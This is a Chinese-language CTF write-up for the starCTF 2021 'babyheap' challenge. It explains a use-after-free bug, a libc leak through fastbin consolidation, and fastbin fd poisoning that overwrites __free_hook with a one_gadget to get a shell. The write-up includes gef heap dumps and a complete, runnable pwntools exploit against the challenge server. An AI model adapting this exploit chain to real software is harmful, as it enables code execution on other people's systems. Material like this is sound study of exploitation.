starCTF 2021 babyheap

1 分析

babyheap

题目包含一个可执行程序和一个libc。

程序提供了六个功能,在delete中free后未将指针置NULL,导致UAF。

tcache

libc版本是2.27,free后的chunk会被扔到tcache中。由于本题所用的libc做了改动,无法通过double free形成一个环状以达到任意地址写。

add一次,delete两次后,堆空间状态如下。可以看到tcachebins中只有一个free chunk,并且其bk的位置被写入了0x0000555555757010。就是这个标志导致无法free两次成一个环状,可通过edit将该处写成别的值,绕过检查。但是由于edit无法写到fd的位置,所以还是无法简单地用tcache double free的方法利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
gef➤  heap bins
──────────────────────────────────────────── Tcachebins for arena 0x7ffff7dcfc40 ────────────────────────────────────────────
Tcachebins[idx=1, size=0x30] count=1 ← Chunk(addr=0x555555757260, size=0x30, flags=PREV_INUSE)
───────────────────────────────────────────── Fastbins for arena 0x7ffff7dcfc40 ─────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────────────────── Unsorted Bin for arena '*0x7ffff7dcfc40' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena '*0x7ffff7dcfc40' ───────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────────────────── Large Bins for arena '*0x7ffff7dcfc40' ───────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤ heap chunks
Chunk(addr=0x555555757010, size=0x250, flags=PREV_INUSE)
[0x0000555555757010 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555555757260, size=0x30, flags=PREV_INUSE)
[0x0000555555757260 00 00 00 00 00 00 00 00 10 70 75 55 55 55 00 00 .........puUUU..]
Chunk(addr=0x555555757290, size=0x20d80, flags=PREV_INUSE) ← top chunk
gef➤ x/10gx 0x0000555555757260
0x555555757260: 0x0000000000000000 0x0000555555757010
0x555555757270: 0x0000000000000000 0x0000000000000000
0x555555757280: 0x0000000000000000 0x0000000000020d81
0x555555757290: 0x0000000000000000 0x0000000000000000
0x5555557572a0: 0x0000000000000000 0x0000000000000000

fastbin

tcache中无法利用,那么把tcache的一条链填满,让free chunk进入fastbin中。

题目源码里leaveyouname()函数中会申请一个0x400的超大chunk,申请超大chunk时会触发fastbin中的free chunk合并——跟top chunk挨着的会合并到top chunk中然后分配出去,不跟top chunk挨着的会合并起来放到unsortedbin或者smallbin中。

进入unsortedbin或者smallbin中的堆块会有main_arena的地址信息,可以通过泄露这个地址进而泄露libc。

add 16个不同的index(从0到15),然后全部delete掉,得到如下bin状态。06在tcache中,715在fastbin中。此时申请大堆块,会将715全部合并到top chunk,然后分配给新的申请。这样将不会有chunk进入unsortedbin或者smallbin。所以需要在715中保持一个chunk不释放,将原本空间连续的chunk分成两部分。

比如,将index为10的chunk不delete。这样在申请大堆块时,79会合并到smallbin中,1115会合并到top chunk中然后分配给新的申请。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gef➤  heap bins
───────────────────── Tcachebins for arena 0x7fd435ee1c40 ─────────────────────
Tcachebins[idx=0, size=0x20] count=7 ← Chunk(addr=0x55e338453320, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e338453300, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e3384532e0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e3384532c0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e3384532a0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e338453280, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e338453260, size=0x20, flags=PREV_INUSE)
────────────────────── Fastbins for arena 0x7fd435ee1c40 ──────────────────────
Fastbins[idx=0, size=0x20] ← Chunk(addr=0x55e338453440, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e338453420, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e338453400, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e3384533e0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e3384533c0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e3384533a0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e338453380, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e338453360, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55e338453340, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────── Unsorted Bin for arena '*0x7fd435ee1c40' ───────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────── Small Bins for arena '*0x7fd435ee1c40' ────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────── Large Bins for arena '*0x7fd435ee1c40' ────────────────────
[+] Found 0 chunks in 0 large non-empty bins.

利用上述思路,泄露main_arena地址进而获得libc基址的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

myproc = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
mylibc = ELF('./libc.so.6')

def add(index,size):
myproc.recvuntil(">> ")
myproc.sendline(str(1))
myproc.recvuntil("input index")
myproc.sendline(str(index))
myproc.recvuntil("input size")
myproc.sendline(str(size))

def delete(index):
myproc.recvuntil(">> ")
myproc.sendline(str(2))
myproc.recvuntil("input index")
myproc.sendline(str(index))

def edit(index,content):
myproc.recvuntil(">> ")
myproc.sendline(str(3))
myproc.recvuntil("input index")
myproc.sendline(str(index))
myproc.recvuntil("input content")
myproc.sendline(content)

def show(index):
myproc.recvuntil(">> ")
myproc.sendline(str(4))
myproc.recvuntil("input index")
myproc.sendline(str(index))

def leaveyourname(name):
myproc.recvuntil(">> ")
myproc.sendline(str(5))
myproc.recvuntil("your name:")
myproc.send(name)

def showyourname():
myproc.recvuntil(">> ")
myproc.sendline(str(6))

for i in range(16):
add(i,0x10)

for i in range(10):
delete(i)

# 第10个chunk不delete,保证合并时有fastbin能合并到unsortedbin或者smallbin中
for i in range(11,16,1):
delete(i)

gdb.attach(myproc)

# 触发堆合并
name = 'aaaa'
leaveyourname(name)

# 泄露smallbin中的main_arena地址
show(7)
myproc.recvline()
small_bin_c = myproc.recv(6)

# 通过调试时看到的地址差,算出libc基址
libc_base = u64(small_bin_c.ljust(8,'\x00')) -0x3ebcf0

myproc.interactive()

UAF

上述11~15 fastbin chunk跟top chunk合并后分配给了leaveyouname中的name=malloc(0x400)。

此时name指向1115,add函数中的pools[11]pools[15]也指向该处(delete函数中free pools[]后未将其置NULL)。

所以可以借助name的输入布置chunk,再通过pools[]数组操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for i in range(16):
add(i,0x10)

for i in range(10):
delete(i)

for i in range(11,16,1):
delete(i)

gdb_text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(myproc.pid)).readlines()[1], 16)
log.warn("base is 0x%x" % gdb_text_base)
bss_addr = gdb_text_base + 0x202020

name = 'a'*8 + 'b'*8 + 'c'*8 + '\x61' + '\x00'*7
name += '\x00'*24 + '\x31' + '\x00'*7
leaveyourname(name)
# gdb.attach(myproc)

delete(12)
delete(13) # 执行完这两个delete后,fastbin中会出现一个0x60和一个0x30的free chunk。这两个chunk实际时重叠的,0x60的chunk包含0x30的chunk。所以后面通过改0x60这个chunk的内容可以改0x30这个chunk的fd

add(0,0x50) # 会将fastbin上0x60那个chunk分配出来
payload1 = '\x00'*16 + '\x31' + '\x00'*7 + p64(bss_addr)
edit(0,payload1) # 将bss_addr写入0x30这个chunk的fd
add(1,0x20) # 申请0x20大小的堆块,会将fastbin上0x30的chunk分配出来。由于上一步改了fd(bss_addr),所以下一次再申请同样大小的chunk时,会从bss_addr处开始分配
add(2,0x20) # 这次add,分配的是bss_addr处。因此,后面对这个chunk的操作会复写bss段。通过更改payload1中的地址,可以实现任意地址写任意值
edit(2,p64(0xdeadbeef))

执行完leaveyouname后的堆空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gef➤  heap chunks
Chunk(addr=0x55a8beee9010, size=0x250, flags=PREV_INUSE)
[0x000055a8beee9010 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x55a8beee9260, size=0x20, flags=PREV_INUSE)
[0x000055a8beee9260 00 00 00 00 00 00 00 00 10 90 ee be a8 55 00 00 .............U..]
Chunk(addr=0x55a8beee9280, size=0x20, flags=PREV_INUSE)
[0x000055a8beee9280 60 92 ee be a8 55 00 00 10 90 ee be a8 55 00 00 `....U.......U..]
Chunk(addr=0x55a8beee92a0, size=0x20, flags=PREV_INUSE)
[0x000055a8beee92a0 80 92 ee be a8 55 00 00 10 90 ee be a8 55 00 00 .....U.......U..]
Chunk(addr=0x55a8beee92c0, size=0x20, flags=PREV_INUSE)
[0x000055a8beee92c0 a0 92 ee be a8 55 00 00 10 90 ee be a8 55 00 00 .....U.......U..]
Chunk(addr=0x55a8beee92e0, size=0x20, flags=PREV_INUSE)
[0x000055a8beee92e0 c0 92 ee be a8 55 00 00 10 90 ee be a8 55 00 00 .....U.......U..]
Chunk(addr=0x55a8beee9300, size=0x20, flags=PREV_INUSE)
[0x000055a8beee9300 e0 92 ee be a8 55 00 00 10 90 ee be a8 55 00 00 .....U.......U..]
Chunk(addr=0x55a8beee9320, size=0x20, flags=PREV_INUSE)
[0x000055a8beee9320 00 93 ee be a8 55 00 00 10 90 ee be a8 55 00 00 .....U.......U..]
Chunk(addr=0x55a8beee9340, size=0x60, flags=PREV_INUSE)
[0x000055a8beee9340 f0 2c 2b 5c d4 7f 00 00 f0 2c 2b 5c d4 7f 00 00 .,+\.....,+\....]
Chunk(addr=0x55a8beee93a0, size=0x20, flags=)
[0x000055a8beee93a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x55a8beee93c0, size=0x410, flags=PREV_INUSE)
[0x000055a8beee93c0 61 61 61 61 61 61 61 61 62 62 62 62 62 62 62 62 aaaaaaaabbbbbbbb]
Chunk(addr=0x55a8beee97d0, size=0x20840, flags=PREV_INUSE) ← top chunk
gef➤ x/20gx 0x000055a8beee93c0
0x55a8beee93c0: 0x6161616161616161 0x6262626262626262 # pools[11]的内容
0x55a8beee93d0: 0x6363636363636363 0x0000000000000061 # pools[12]的size
0x55a8beee93e0: 0x0000000000000000 0x0000000000000000 # pools[12]的内容
0x55a8beee93f0: 0x0000000000000000 0x0000000000000031 # pools[13]的size
0x55a8beee9400: 0x000055a8beee930a 0x0000000000000000 # pools[13]的size
0x55a8beee9410: 0x0000000000000000 0x0000000000020bf1
0x55a8beee9420: 0x000055a8beee93f0 0x0000000000000000
0x55a8beee9430: 0x0000000000000000 0x0000000000020bd1
0x55a8beee9440: 0x000055a8beee9410 0x0000000000000000
0x55a8beee9450: 0x0000000000000000 0x0000000000020bb1

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

myproc = remote("52.152.231.198",8081)
# myproc = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
mylibc = ELF('./libc.so.6')

def add(index,size):
myproc.recvuntil(">> ")
myproc.sendline(str(1))
myproc.recvuntil("input index")
myproc.sendline(str(index))
myproc.recvuntil("input size")
myproc.sendline(str(size))

def delete(index):
myproc.recvuntil(">> ")
myproc.sendline(str(2))
myproc.recvuntil("input index")
myproc.sendline(str(index))

def edit(index,content):
myproc.recvuntil(">> ")
myproc.sendline(str(3))
myproc.recvuntil("input index")
myproc.sendline(str(index))
myproc.recvuntil("input content")
myproc.sendline(content)

def show(index):
myproc.recvuntil(">> ")
myproc.sendline(str(4))
myproc.recvuntil("input index")
myproc.sendline(str(index))

def leaveyourname(name):
myproc.recvuntil(">> ")
myproc.sendline(str(5))
myproc.recvuntil("your name:")
myproc.send(name)

def showyourname():
myproc.recvuntil(">> ")
myproc.sendline(str(6))

for i in range(16):
add(i,0x10)

for i in range(10):
delete(i)

for i in range(11,16,1):
delete(i)

# gdb.attach(myproc)

name = 'a'*8 + 'b'*8 + 'c'*8 + '\x61' + '\x00'*7
name += '\x00'*24 + '\x31' + '\x00'*7
leaveyourname(name)

show(7)
myproc.recvline()
small_bin_c = myproc.recv(6)

libc_base = u64(small_bin_c.ljust(8,'\x00')) -0x3ebcf0


free_hook = mylibc.symbols['__free_hook'] + libc_base
log.warn("free hook 0x%x" % free_hook)

# exec_addr = 0xdeadbeef
exec_addr = libc_base + 0x4f432
delete(12)
delete(13)

add(0,0x50)
payload1 = '\x00'*16 + '\x31' + '\x00'*7 + p64(free_hook - 0x8)
edit(0,payload1)
add(1,0x20)
add(2,0x20)
edit(2,p64(exec_addr))
log.warn("small bin : 0x%x" % u64(small_bin_c.ljust(8,'\x00')))
log.success("libc base : 0x%x" % libc_base)
log.warn("free hook 0x%x" % free_hook)

delete(9)

myproc.interactive()